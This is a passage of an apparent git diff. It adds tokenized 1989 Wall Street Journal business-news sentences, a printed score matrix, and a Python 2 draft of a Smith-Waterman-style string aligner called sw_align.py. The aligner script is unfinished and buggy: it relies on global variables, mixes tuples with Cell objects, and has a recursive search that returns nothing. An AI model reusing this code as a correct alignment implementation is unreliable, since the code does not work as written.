holding the shares as an old-fashioned investment . +`` Long-term investing -- that 's not Steinhardt 's style , '' chuckles an investor who once worked at Steinhardt Partners . +`` He does n't usually risk that much unless he thinks he has an ace in the hole , '' adds another Steinhardt Partners alumnus . +In recent days , traders say USAir has been buying its own shares , as part of a program to retire about eight million USAir shares , though the carrier wo n't discuss its buy-back program . +If USAir stepped up its share purchases , that might be a way for Mr. Steinhardt to get out , says Timothy Pettee , a Merrill Lynch analyst . +But USAir might not want to help Mr. Steinhardt , he adds . +In 1987 , USAir Chairman Edwin Colodny stonewalled when Trans World Airlines Chairman Carl Icahn threatened to take over the carrier . +Mr. Icahn , a much more practiced raider than Mr. Steinhardt , eventually sold a big USAir stake at a tiny profit through Bear , Stearns . +Mr. Steinhardt also could take that route . +He confers big trading commissions on Wall Street firms . +However , with airline stocks cratering , he might not get a very good price for his shares , traders say . +Especially galling for Mr. Steinhardt , say people close to him , is that USAir 's Mr. Colodny wo n't even take his telephone calls . +While USAir is n't considered absolutely takeover-proof , its defenses , including the sale in August of a 12 % stake in the company to Mr. Buffett 's Berkshire Hathaway , are pretty strong . +USAir 's deal with Mr. Buffett `` was n't exactly a shining example of shareholder democracy , '' Mr. Steinhardt says . +Since last April , the investor has made seven so-called 13D filings in USAir , as he bought and sold the company 's stock . +Such disclosures of big holdings often are used by raiders to try to scare a company 's managers , and to stir interest in the stock . +But of course it would be highly unusual for an investment fund such as Steinhardt Partners to take over a company . +USAir and Mr. Buffett wo n't talk about Mr. Steinhardt at all . +Analysts say USAir has great promise . +By the second half of 1990 , USAir stock could hit 60 , says Helane Becker of Shearson Lehman Hutton . +She thinks traders should buy the stock if it tumbles to 35 . +But meanwhile , USAir is expected to show losses or lackluster profit for several quarters as it tries to digest Piedmont Airlines , which it acquired . +Moreover , some investors think a recession or renewed airfare wars will pummel airline stocks in coming months . +However , Mr. Steinhardt says he 's `` comfortable holding USAir as an investment . '' +While he has bought and sold some USAir shares in recent days , he says that contrary to rumors , he has n't tried to unload his holding . +Mr. Steinhardt adds that he bought USAir stock earlier this year as `` part of a fundamental investment in the airline group . '' +In 1989 , Mr. Steinhardt says he made money trading in Texas Air , AMR and UAL . +Overall , his investments so far this year are showing gains of about 20 % , he adds . +Does Mr. Steinhardt regret his incursion into the takeover-threat game ? +People close to the investor say that was an experiment he is unlikely to repeat . +`` I do n't think you 'll find I 'm making a radical change in my traditional investment style , '' Mr. Steinhardt says . +Addington Resources Inc. said it called for redemption on Nov. 21 its $ 25.8 million outstanding of 8 % convertible subordinated debentures due 2013 . +The debentures were issued in the face amount of $ 46 million on July 11 , 1988 , the Ashland , Ky. , coal mining , water transportation and construction company said . +The company said the redemption is permitted because the price of Addington 's stock has equaled or exceeded $ 19.60 for 20 consecutive trading days , a condition set in the terms of the debentures . +Debenture holders are expected to convert most of the debentures into common because the value of the stock received in a conversion would exceed the $ 1,103.11 redemption price . +Commodore International Ltd. said it will report a loss for the first quarter ended Sept. 30 because sales of personal computers for the home market remained weak in some major countries . +That will mark the second consecutive quarterly loss for Commodore and will raise additional questions about whether it can sustain the turnaround it had seemed to be engineering . +Commodore , West Chester , Pa. , had said in August that it was consolidating manufacturing to cut costs and expected to be profitable in the fiscal first quarter . +Commodore said that its announcement is based on preliminary information and that the situation could look different by the time final results are announced early next month . +In fact , Commodore 's fiscal fourth-quarter loss was $ 2 million narrower than Commodore had expected a few weeks after the quarter closed . +Still , even results approaching break-even would mark a sharp weakening compared with fiscal 1989 first-quarter earnings of $ 9.6 million , or 30 cents a share , on sales of $ 200.2 million . +Reflecting concerns about Commodore 's outlook , its stock has plunged more than 50 % since May , closing yesterday unchanged at $ 8.875 a share in composite trading on the New York Stock Exchange . +The price can be expected to erode further , because the loss estimate came after the market closed . +Commodore has seemed to be setting the stage recently for progress in the U.S. , where its personal-computer sales have been so dismal for years that Commodore is close to dropping off research firms ' market-share charts . +Commodore has assembled an experienced management team , it has persuaded many more dealers to carry its products and it has unleashed a slick advertising campaign . +But those represent long-term strategies that probably wo n't succeed quickly , even if they turn out to be the right ones . +In the meantime , the strategies will increase expenses . +Commodore had been counting on its consumer business to stay sufficiently healthy to support its efforts in other areas -- mainly in getting schools and businesses to use its Amiga , which has slick graphics yet has been slow to catch on because it is n't compatible with Apple Computer Inc. or International Business Machines Corp. hardware . +But sales to consumers have become difficult during the past several months , even in West Germany , which has been by far Commodore 's strongest market . +The Commodore 64 and 128 , mainly used for children 's educational software and games , had surprised market researchers by continuing to produce strong sales even though other low-profit personal computers now operate several times as fast and have much more memory . +Commodore has said it expects sales to rebound , but market researchers have said that sales of the low-end products may finally be trailing off . +Stock prices closed slightly higher in the first routine trading day since Friday 's big plunge . +Some issues were affected by Tuesday 's devastating earthquake in the San Francisco area . +Activity continued to slow from the hectic pace set during the market 's plunge late Friday and its rebound Monday , as players began to set their sights on events coming later this week . +The Dow Jones Industrial Average drifted through the session within a trading range of about 30 points before closing with a gain of 4.92 at 2643.65 . +Broader averages also posted modest gains . +Standard & Poor 's 500-Stock Index rose 0.60 to 341.76 , the Dow Jones Equity Market Index rose 0.71 to 320.54 and the New York Stock Exchange Composite Index gained 0.43 to 189.32 . +Some 822 New York Stock Exchange issues advanced in price , while 668 declined . +But the Dow Jones Transportation Average went down for the seventh consecutive session , due largely to further selling in UAL . +The average dropped 6.40 to 1247.87 and has now lost 21.7 % of its value since the losing streak began Oct. 10 . +Big Board volume dropped to 166,900,000 shares , in line with the level of trading over the past few weeks , from 224.1 million Tuesday . +Traders cited anticipation of the consumer price report for September , due today , and tomorrow 's expiration of October stock-index futures and options as major factors in the slowdown . +In addition , activity at a number of San Francisco-based brokerage houses was curtailed as a result of the earthquake , which knocked out power lines and telephone service throughout the Bay area . +Stocks retreated to session lows just after the opening amid worries about the market impact of the quake , but quickly snapped back to higher levels with the help of futures-related program buying . +The early move essentially established the day 's trading range , and traders said they saw little of the program activity that has battered the market recently . +`` I did n't expect it to be this quiet . +I expected to see more volatility as some of the institutions who were spooked last Friday did some selling , '' said Raymond F. DeVoe , a market strategist at Legg Mason Wood Walker , Baltimore . +Mr. DeVoe said he expects prices to show some renewed instability over the next few sessions as institutions re-evaluate their stance toward the market in light of its decline . +`` I would suspect that a lot of investment committees are looking into whether -LRB- they -RRB- want to be in stocks at all , '' he said . +Insurance stocks were sold at the opening amid concerns about the level of damage claims the companies would receive as a result of the earthquake . +But those issues recovered quickly and turned higher because of expectations that the quake and the recent Hurricane Hugo would set the stage for an increase in premium rates . +Issues of insurance brokers were especially strong . +Marsh & McLennan advanced 3 1\/8 to 75 7\/8 , Alexander & Alexander Services climbed 2 to 32 and Corroon & Black firmed 1 7\/8 to 37 1\/2 . +Elsewhere in the group , General Re rose 2 3\/4 to 86 1\/2 , American International Group gained 3 1\/4 to 102 5\/8 , Aetna Life & Casualty added 2 3\/8 to 59 1\/2 and Cigna advanced 7\/8 to 62 1\/2 . +Loews , the parent of CNA Financial , rose 1 3\/8 to 123 1\/8 . +Companies in the construction , engineering and building-products sectors were among other beneficiaries of earthquake-related buying . +The heavy-construction sector was the session 's best performer among Dow Jones industry groups ; Fluor rose 3\/4 to 33 3\/8 , Morrison Knudsen gained 2 1\/4 to 44 1\/8 , Foster Wheeler added 3\/8 to 18 1\/4 and Ameron climbed 2 3\/8 to 39 3\/4 . +Among engineering firms , CRS Sirrine rose 5\/8 to 34 1\/4 on the Big Board and four others rallied on the American Stock Exchange : Jacobs Engineering Group , which gained 1 1\/8 to 25 3\/8 , Greiner Engineering , which rose 3 1\/2 to 22 1\/2 ; Michael Baker , which added 1 1\/4 to 15 1\/4 , and American Science & Engineering , up 1\/2 to 8 1\/2 . +Within the building-materials group , Georgia-Pacific climbed 1 1\/4 to 58 and Louisiana-Pacific added 1 to 40 3\/4 after Merrill Lynch recommended the forest-products issues . +CalMat advanced 2 3\/4 to 28 3\/4 , Lone Star Industries gained 1 3\/4 to 29 1\/4 , Lafarge rose 1 to 19 1\/2 , Southdown added 5\/8 to 24 5\/8 and Eljer Industries rose 1 1\/4 to 24 7\/8 . +Pacific Gas & Electric fell 3\/8 to 19 5\/8 in Big Board composite trading of 1.7 million shares and Pacific Telesis Group slipped 5\/8 to 44 5\/8 as the companies worked to restore service to areas affected by the quake . +Chevron added 1 to 65 . +The company , based in San Francisco , said it had to shut down a crude-oil pipeline in the Bay area to check for leaks but added that its refinery in nearby Richmond , Calif. , was undamaged . +Other companies based in the area include Hewlett-Packard , which rose 1\/4 to 49 ; National Semiconductor , which went up 1\/4 to 7 5\/8 , and Genentech , which eased 1\/4 to 19 5\/8 . +None of the firms reported any major damage to facilities as a result of the quake . +BankAmerica eased 1\/2 to 31 7\/8 and Wells Fargo lost 1\/2 to 81 1\/2 ; the two bank holding companies , based in San Francisco , were forced to curtail some operations due to the temblor . +Among California savings-and-loan stocks , H.F. Ahmanson eased 3\/8 to 22 1\/4 , CalFed slid 3\/4 to 24 1\/8 , Great Western Financial dropped 1\/2 to 21 1\/4 and Golden West Financial fell 5\/8 to 29 1\/4 . +UAL , the parent company of United Airlines , swung within a 14-point range during the course of the session before closing at 191 3\/4 , down 6 1\/4 , on 2.3 million shares . +British Airways , a member of the group that had offered $ 300 a share for UAL in a leveraged buy-out , said it had yet to receive a revised proposal and it was `` in no way committed '' to the completion of a bid . +Separately , investor Marvin Davis withdrew his backup $ 300-a-share takeover offer . +While UAL faltered , AMR , the parent of American Airlines , pulled out of its recent nosedive by rising 3\/4 to 74 . +The stock had been on the decline since the financing for the UAL buy-out fell through on Friday and developer Donald Trump subsequently withdrew a takeover offer of $ 120 a share for AMR . +Also , AMR was the most active Big Board issue ; 2.8 million shares changed hands . +GTE added 1 1\/4 to 65 3\/8 . +PaineWebber repeated a buy recommendation on the stock and raised its 1990 earnings estimate by 35 cents a share , to $ 5.10 . +Colgate-Palmolive advanced 1 5\/8 to 63 after saying it was comfortable with analysts ' projections that third-quarter net income from continuing operations would be between 95 cents and $ 1.05 a share , up from 69 cents a year ago . +Springs Industries dropped 1 3\/8 to 36 . +Analysts at several brokerage firms lowered their 1989 and 1990 earnings estimates on the company after its third-quarter results proved disappointing . +Trinova third-quarter loss after a charge for a planned restructuring , which will include the closing or downsizing of about 25 % of its plants and a work force cut of about 1,500 over three years . +The Amex Market Value Index snapped a five-session losing streak by rising 2.91 to 378.07 . +Volume totaled 12,500,000 shares . +Carnival Cruise Lines Class A rose 1 1\/4 to 22 3\/8 . +The company , citing market conditions , postponed a $ 200 million debt offer . +Philip Morris Cos. posted a 20 % jump in third-quarter profit on a 45 % revenue increase , reflecting strength in the company 's cigarette , food and brewing businesses . +Net income rose to $ 748 million , or 81 cents a share , from the year-earlier $ 621 million , or 67 cents a share . +Per-share figures have been adjusted for a 4-for-1 stock split paid earlier this month . +The New York-based tobacco , food and beer concern said revenue increased to $ 11.25 billion from $ 7.74 billion . +In composite trading on the New York Stock Exchange , Philip Morris closed at $ 43.375 , up 12.5 cents . +Philip Morris disclosed little detailed information about performance by major business lines except to say that most , including Philip Morris U.S.A. , Kraft General Foods and Miller Brewing Co. , posted increased revenues . +For the nine months , net increased 4.4 % to $ 2.08 billion , or $ 2.25 a share , from $ 2 billion , which included $ 273 million reflecting the effect of an accounting change . +Granges Inc. , citing depressed gold prices , said it plans to suspend operations for an indefinite period at its Tartan gold mine in Manitoba . +Granges said in Vancouver , British Columbia , that the production halt will be phased in over a 10-week period . +Tartan currently produces gold at a cash operating cost of $ 393 an ounce , which is high by industry standards and $ 25 or so above the current spot price . +Granges said it also plans in the third quarter to write down the carrying value of the Tartan mine by 2.5 million Canadian dollars -LRB- US$ 2.12 million -RRB- , and to write off most of the C$ 6.3 million carrying value of its Windflower gold property in British Columbia . +Granges did n't say what impact the moves would have on total gold output or earnings , and company officials were n't available . +Computer Associates International Inc. , Garden City , N.Y. , and Digital Equipment Corp. said they agreed to jointly develop software to help manage Digital 's Vax computers . +Computer Associates has carved out a huge business selling such software for use in managing networks of International Business Machines Corp. computers but needs to find new markets if it is to maintain its growth rate of 30 % and more each year . +The market for system-management software for Digital 's hardware is fragmented enough that a giant such as Computer Associates should do well there . +At the same time , the market is smaller than the market for IBM-compatible software . +For one thing , Digital , Maynard , Mass. , has sold fewer machines . +In addition , its machines are typically easier to operate , so customers require less assistance from software . +Wang Laboratories Inc. , Lowell , Mass. , beset by declining demand for its computers , reported a $ 62.1 million , 38-cents-a-share loss in its first quarter ended Sept. 30 . +Revenue fell 12.7 % to $ 596.8 million from $ 684 million , although some of the decline was caused by discontinued operations . +Wang had previously forecast a loss . +The company reiterated that it expects another loss in the second quarter and for the full year , although it expects a profitable fourth quarter . +A year ago , Wang had earnings of $ 13.1 million , or eight cents a share , in its first quarter , including a $ 3.1 million loss from discontinued operations . +The latest period loss included a $ 12.9 pretax charge for severance payments . +Dayton Hudson Corp. said it accepted for purchase seven million common shares at $ 62.875 each , under the terms of a Dutch auction self-tender offer . +The offer expired at 12:01 a.m. yesterday . +In a Dutch auction , the buyer sets a price range and holders give a price in that range at which they 're willing to sell their shares . +The buyer then picks a price and buys shares at that price from holders who offered to sell at that price or lower . +Dayton Hudson 's repurchase offer , representing about 9 % of its common shares outstanding , had established a range of between $ 60 and $ 65 for the buy-back . +Dayton Hudson said it accepted all odd-lot shares tendered at or below the final $ 62.875 price ; the preliminary proration factor for other shares tendered at or below the final price is 98 % . +The Minneapolis-based retailer said it expects to pay for the seven million shares next Thursday . +Tendered shares not purchased will be returned to holders . +In New York Stock Exchange composite trading , Dayton rose $ 1 to $ 61.125 . +Continental Bank Corp. 's third-quarter net income slipped 11 % despite a big gain from the sale of the company 's London headquarters building . +The $ 55 million gain on the sale was offset by lower interest income , poorer results from foreign-exchange trading and a $ 9 million loss on the sale of a unit , Securities Settlement Corp . +Chicago-based Continental earned $ 65.2 million , or $ 1.04 a share , compared with $ 73.6 million , or $ 1.19 a share , a year earlier . +The 1988 quarter also included one-time gains totaling about $ 35 million . +The bank , which has loss reserves equal to about half its long-term and medium-term loans to less-developed nations , said it does n't think additional reserves are required . +Enron Corp. said a subsidiary and two United Kingdom firms are studying the feasibility of constructing a 1,500 megawatt gas-fired power plant in northern England as an outgrowth of the government 's privatization program . +Enron Power Corp. , a unit of the Houston natural gas pipeline company , would design , construct and run the plant . +Gas to fuel it would be piped from the North Sea . +A subsidiary of Britain 's Imperial Chemical Industries would buy electricity and steam from the proposed station . +Surplus power would be sold on the open market , Enron said . +Also participating in the study , Enron said , is the National Power division of Britain 's Central Electricity Generating Board . +Upon privatization , National Power will be responsible for 70 % of the country 's power generating business . +Viacom Inc. , New York , reported that its third-quarter loss widened to $ 21.7 million , or 41 cents a share , primarily because of interest expense of $ 70.1 million . +A year ago , Viacom had a net loss of $ 56.9 million , or $ 1.07 a share . +Interest expense in the 1988 third quarter was $ 75.3 million . +In the year-ago quarter , Viacom also paid preferred stock dividends of $ 17 million ; Viacom exchanged its preferred stock for debt in March . +The communications and entertainment company said revenue rose to $ 345.5 million , from $ 311.6 million . +Viacom attributed the improvement to higher earnings from operations in its networks segment , which includes the MTV and Showtime networks . +Viacom said it also restructured bank debt under a $ 1.5 billion unsecured bank agreement that offers significant interest rate savings . +Sumner M. Redstone , Viacom 's chairman , said Viacom `` emerged from our leveraged buy-out structure and gained substantial operating and financial flexibility through '' the bank pact . +Trinova Corp. , Maumee , Ohio , said it is launching an extensive restructuring of its core business , and took a charge that resulted in a loss of $ 29.7 million , or 87 cents a share , for the third quarter . +Trinova said it will close , move or overhaul 40 of its 170 manufacturing facilities and over the next three years cut 1,500 jobs from its current world-wide payroll of 22,300 employees . +Most of the factory closings and job cutbacks will affect Trinova 's Aeroquip operations , which manufacture automotive plastics , hoses and other industrial and automotive parts . +Hoses and plastics together account for about 42 % of Trinova 's total annual sales . +In a separate announcement , Trinova said the Aeroquip group has agreed to sell its spring-brake , piston-brake and related businesses to Midland Brake Inc. of Branford , Conn . +Terms were n't disclosed . +To provide for the restructuring 's costs , Trinova said it took an after-tax charge of $ 38.5 million , or $ 1.13 a share , in the third quarter . +The $ 29.7 million net loss compares with net income of $ 19.6 million , or 57 cents a share , a year earlier . +Sales rose 8 % to $ 456.2 million from $ 422 million . +Trinova closed at $ 25 , down $ 1 , in New York Stock Exchange composite trading . +A group of investors , including Giancarlo Parretti 's Pathe Communications Corp. and Sasea Holding S.A. , have agreed to buy 76.66 % of Odeon Finanziaria , a financially troubled Italian TV station . +Florio Fiorini , managing director of Geneva-based Sasea , said the investors would pay only a symbolic one lira for the station , `` but we have agreed to raise the capital that will enable the company to continue operating . +It 's sort of a Chapter 11 situation , '' he added , referring to the U.S. bankruptcy law that protects companies from creditors while they restructure . +Milan-based Odeon , which draws about 3 % of Italian TV viewers , has debt of 250 billion lire -LRB- $ 181.9 million -RRB- , Mr. Fiorini said . +He added that details of the recapitalization still have to be worked out , but that Pathe will take 50 % of Odeon , Rome film producer Bruno Lucisano will take 10 % and the remaining 16.66 % , currently owned by Sasea , will eventually be sold to other investors . +Calisto Tanzi , Odeon 's owner , will retain his 23.34 % stake . +Italy 's Supreme Court this year ordered Parliament to write a law that will regulate media ownership . +`` We think that it 's going to be far more favorable to own a station before the law is passed than to try to buy one afterward , '' Mr. Fiorini said . +San Francisco area officials gave the media high marks for helping people find shelter and obtain emergency information after Tuesday 's catastrophic earthquake . +`` The press has been doing an excellent job . +They are telling people what roads are closed and just keeping the public informed has helped to keep the panic down , '' said James Ball , a station supervisor at Daly City Police Department . +Mr. Ball noted that television stations featured people holding up phone books , explaining where to call for help . +Radio stations provided an emergency number for people who smelled gas but did n't know how to turn off their gas supply . +Kim Schwartz , a spokesperson for the American Red Cross in Los Angeles , said television and radio stations in San Francisco played a `` very positive role '' by providing the address of 28 shelters of the Red Cross and by giving out the Red Cross number for contributions to help earthquake victims -LRB- 1-800-453-9000 -RRB- . +The San Francisco Examiner issued a special edition around noon yesterday that was filled entirely with earthquake news and information . +The Examiner and the San Francisco Chronicle were able to publish despite Tuesday 's quake , which occurred close to deadline for many newspapers . +Sterling Software Inc. said it lost its bid to supply software services to the National Aeronautics and Space Administration 's Ames Research Center at Moffett Field , Calif . +Sterling , which estimated the value of the contract at $ 150 million , said NASA selected another bidder for final negotiations . +In 1988 , Dallas-based Sterling protested a similar decision by NASA involving the same contract , claiming it had submitted the lowest bid . +As a result , last March the General Services Administration board of contract appeals directed NASA to reopen negotiations on the contract . +Sterling said it had requested a briefing by NASA but had not decided whether to protest the agency 's latest decision . +Consolidated Rail Corp. , New York , reported that third-quarter net income climbed 4.8 % to $ 87 million , or $ 1.27 a share , exceeding analysts ' expectations . +In the year-earlier quarter , the freight railroad earned $ 83 million , or $ 1.21 a share . +James A. Hagen , chairman and chief executive officer , noted that earnings advanced `` in the face of a drop in business , brought on by the general economic slowdown . '' +Revenue slipped 4.6 % to $ 835 million from $ 876 million . +For the rest of 1989 , Mr. Hagen said , Conrail 's traffic and revenue `` will reflect the sluggish economy , but Conrail will continue to take steps to control and reduce costs . '' +For the nine months , Conrail earnings grew 0.4 % to $ 229 million , or $ 3.34 a share , from $ 228 million , or $ 3.31 a share . +Revenue was flat at $ 2.59 billion . +Georgia Gulf Corp. , hurt by declining sales and falling chemical prices , said third-quarter earnings fell 13 % to $ 46.1 million from $ 53.1 million in the year-earlier period . +Sales declined 10 % to $ 251.2 million from $ 278.7 million . +The Atlanta-based chemical manufacturer said lower prices hurt margins for most products . +`` We did see some relief in raw material costs , but it was n't sufficient to offset the drop in sales prices , '' James R. Kuse , the company 's chairman and chief executive officer said in a statement . +On a per-share basis , quarterly earnings remained at $ 1.85 , the same as last year , because of the company 's share buy-back program . +Georgia Gulf had 24.9 million shares outstanding on average in the quarter , compared with 28.6 million in the third quarter of 1988 , adjusted for a stock split paid in January 1989 . +In composite New York Stock Exchange trading , stock in Georgia Gulf , which has been mentioned as a takeover candidate , rose $ 2.125 a share to close at $ 46.125 . +This temblor-prone city dispatched inspectors , firefighters and other earthquake-trained personnel to aid San Francisco . +But a secondary agenda among officials in the City of Angels was to learn about the disaster-contingency plans that work and those that do n't . +Los Angeles Mayor Tom Bradley used the opportunity to push the City Council harder to pass a measure establishing a loss-recovery reserve of $ 100 million . +The amount would help Los Angeles cope in the first few weeks after its own anticipated quake , while waiting for federal assistance to arrive . +After San Francisco Mayor Art Agnos spoke on television of the need for building inspectors to check the soundness of buildings , Los Angeles dispatched 32 inspectors to help . +And the county of Los Angeles placed its firefighters and sheriffs on alert , ready to send in reinforcements , and alerted San Francisco that the city has 1,000 hospital beds at its disposal . +Two Los Angeles radio stations initiated Red Cross donation campaigns , and one Los Angeles bank manager forked over $ 150,000 of his own money for relief purposes , the Red Cross said . +The Los Angeles Red Cross sent 2,480 cots , 500 blankets , and 300 pints of Type-O blood . +It is also pulling 20 people out of Puerto Rico , who were helping Huricane Hugo victims , and sending them to San Francisco instead . diff --git a/out b/out new file mode 100644 index 0000000..69717ed --- /dev/null +++ b/out @@ -0,0 +1,9 @@ +[[ 0. 0. 0. 0. 0. 0. 0. 0. 0. 0.] + [ 0. 0. 0. 0. 0. -2. -1. 0. 0. 0.] + [ 0. 0. 0. 0. 0. -1. -1. 0. 0. 0.] + [ 0. 0. 0. 0. 0. 0. -3. -2. -1. 0.] + [ 0. 0. 0. 0. 0. 0. -2. -5. -4. -3.] + [ 0. 0. 0. 0. 0. 0. -1. -4. -7. -6.]] +starting position (5, 8) +new instance of method +(5, 8) diff --git a/sw_align.py b/sw_align.py new file mode 100644 index 0000000..44dff84 --- /dev/null +++ b/sw_align.py @@ -0,0 +1,119 @@ +from numpy import zeros + +class SW_Matrix: + def __init__(self, s1, s2): + self.matrix = zeros((len(s1),len(s2))) + self.min_val = [0, ()] + + def small_d(self, char1, char2): + if char1 == char2: + #print 'match' + return -2 + else: + return 1 + + def big_d(self, row, col): + string_comparison = self.small_d(s1[row],s2[col]) + #print string_comparison + above = self.matrix[row-1][col] + string_comparison + left = self.matrix[row][col-1] + string_comparison + diagonal = self.matrix[row-1][col-1] + string_comparison + return min(0, above, left, diagonal) + + def populate(self): + rows = self.matrix.shape[0] + cols = self.matrix.shape[1] + for r in range(1, rows): + for c in range(1, cols): + val = self.big_d(r, c) + self.matrix[r][c] = val + if val <= self.min_val[0]: + self.min_val[0] = val + self.min_val[1] = (r,c) + + def display(self): + print self.matrix + + def exists(self, pos): + #print pos + if pos[0] > -1 and pos[1] > -1: + return True + else: + return False +class Cell: + def __init__(self, value, coordinates, final=False): + self.val = value + self.coord = coordinates + self.final = final + +class SW_Aligner: + def __init__(self, s1,s2): + self.matrix = SW_Matrix(s1,s2) + self.matrix.populate() + self.matrix.display() + self.min_val = self.matrix.min_val + self.s1 = s1 + self.s2 = s2 + self.paths = [()] + + def generate_solutions(self, pos): + # check for + cells, solutions, mat = [], [], self.matrix.matrix + diagonal = (pos[0]-1, pos[1]-1) + left = (pos[0], pos[1]-1) + up = (pos[0]-1, pos[1]) + + if self.matrix.exists(diagonal): + cells.append((mat[pos[0]-1][pos[1]-1], diagonal)) + if self.matrix.exists(left): + cells.append((mat[pos[0]][pos[1]-1], left)) + if self.matrix.exists(up): + cells.append((mat[pos[0]-1][pos[1]], up)) + + cells = sorted(cells) + min_cell = cells[0] + + if min_cell[0] == 0: + solutions.append(Cell(min_cell[0], min_cell[1], final=True)) + else: + solutions.append(Cell(min_cell[0], min_cell[1])) + + for c in cells[1:]: + if c[0] <= min_cell[0]: + if c[0] == 0: + solutions.append(Cell(c[0], c[1], final=True)) + else: + solutions.append(Cell(c[0], c[1])) + + + solutions.append(c[1]) + return solutions + + + def foo(self, pos, path=[]): + print 'up till now',path + print 'exploring...', pos + path.append(pos) + if self.matrix.matrix[pos[0]][pos[1]] == 0: + self.paths.append(path) + print 'done with one loop' + print self.paths + return path[:-1] + else: + for solution in self.generate_solutions(pos): + path = self.foo(solution, path=path) + + def display(self): + print self.paths + +s1= 'lounge' +s2= "s'allonger" +align = SW_Aligner(s1,s2) +print 'starting position',align.min_val[1] +align.foo(align.min_val[1]) +#align.align((len(s1)-1, len(s2)-1)) +align.display() + +#matrix.populate() +#matrix.display() +

    + + + + +
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